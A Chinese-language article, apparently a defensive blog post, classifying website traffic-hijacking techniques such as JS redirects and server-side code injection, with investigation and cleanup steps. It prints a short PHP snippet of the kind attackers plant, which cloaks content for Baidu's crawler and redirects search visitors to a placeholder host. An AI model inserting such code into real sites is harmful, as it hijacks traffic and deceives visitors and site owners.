攻击者侵入网站后,经常通过恶意劫持流量获得收益,实现流量变现。一些黑帽劫持的手法无法防止,正常的访问行为很难发现异常。今天,我想和大家介绍一下常见的网站劫持。我们可以根据不同隐藏目的的常见劫持方法进行简单的分类。
1、将爬虫与用户正常访问分开,实现搜索引擎快照劫持。
2.分离移动终端和PC终端的访问,实现移动终端的流量劫持。
3、根据用户访问来源判断,实现特定来源网站劫持。
4、获取管理员真实IP地址,实现特定区域流量劫持。
5、根据访问路径/关键词/时间段设置,实现特定路径/关键词/时间段的流量劫持。
基于以上,实现的方式有客户js劫持、服务代码劫持、301重定向、恶意反向代理、IIS模块劫持等多种。
01、客户端js劫持。
在网页上插入js脚本,通过js跳转url,通常通过js混淆加密来提高识别难度。js劫持搜索引擎的流量。
调查构想:检查web源代码,分析http流量,找到源代码中插入的js代码,删除js代码后恢复。
02、服务终端代码劫持。
网站源代码被篡改,在主页和配置文件中引入恶意代码。判断User-agent和Refer,劫持快照。
<?php
error_reporting(0);
//判断是否为百度蜘蛛,然后进行内容劫持
if(stripos($_SERVER["HTTP_USER_AGENT"],"baidu")>-1){
$file = file_get_contents('http://www.xxxx.com');
echo $file;
exit;
}
//判断是否来自百度搜索,然后进行url跳转
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {
Header("Location: http://www.xxxx.com/");//指定跳转
exit;
}
?>
溯源攻击:查看网站主页导入的文件,依次访问相关文件源代码,确认可疑代码,去除包括文件在内的文件后恢复。备份网站的源代码和文件的完整性验证非常重要,有助于在数万行代码中快速找到恶意代码。